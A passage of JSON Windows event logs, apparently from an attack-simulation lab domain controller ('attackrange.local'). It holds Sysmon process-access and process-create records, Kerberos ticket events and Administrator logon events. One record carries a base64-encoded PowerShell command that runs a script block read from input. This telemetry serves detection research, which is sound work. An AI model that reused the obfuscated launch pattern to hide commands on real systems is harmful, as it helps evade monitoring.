12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8602,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.823\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.823","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222335,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222336,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{4AEFBCC9-5F12-98C6-715E-909C2B8741D9}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{4AEFBCC9-5F12-98C6-715E-909C2B8741D9}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222337,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{4AEFBCC9-5F12-98C6-715E-909C2B8741D9}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{4AEFBCC9-5F12-98C6-715E-909C2B8741D9}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222338,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x12160C\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{4AEFBCC9-5F12-98C6-715E-909C2B8741D9}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x12160c","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{4AEFBCC9-5F12-98C6-715E-909C2B8741D9}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222339,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x12160C\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x12160c","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8603,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.823\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.823","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8604,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.860\r\nProcessGuid: {90617006-437F-5F2D-0000-00103A161200}\r\nProcessId: 4008\r\nImage: C:\\Windows\\System32\\chcp.com\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Change CodePage Utility\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CHCP.COM\r\nCommandLine: \"C:\\Windows\\system32\\chcp.com\" 65001\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4375-5F2D-0000-002007ED1100}\r\nLogonId: 0x11ED07\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD\r\nParentProcessGuid: {90617006-437A-5F2D-0000-001051001200}\r\nParentProcessId: 4712\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.860","ProcessGuid":"{90617006-437F-5F2D-0000-00103A161200}","Image":"C:\\Windows\\System32\\chcp.com","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Change CodePage Utility","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"CHCP.COM","CommandLine":"\"C:\\Windows\\system32\\chcp.com\" 65001","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4375-5F2D-0000-002007ED1100}","LogonId":"0x11ed07","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD","ParentProcessGuid":"{90617006-437A-5F2D-0000-001051001200}","ParentProcessId":"4712","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8605,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.823\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.823","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\Sys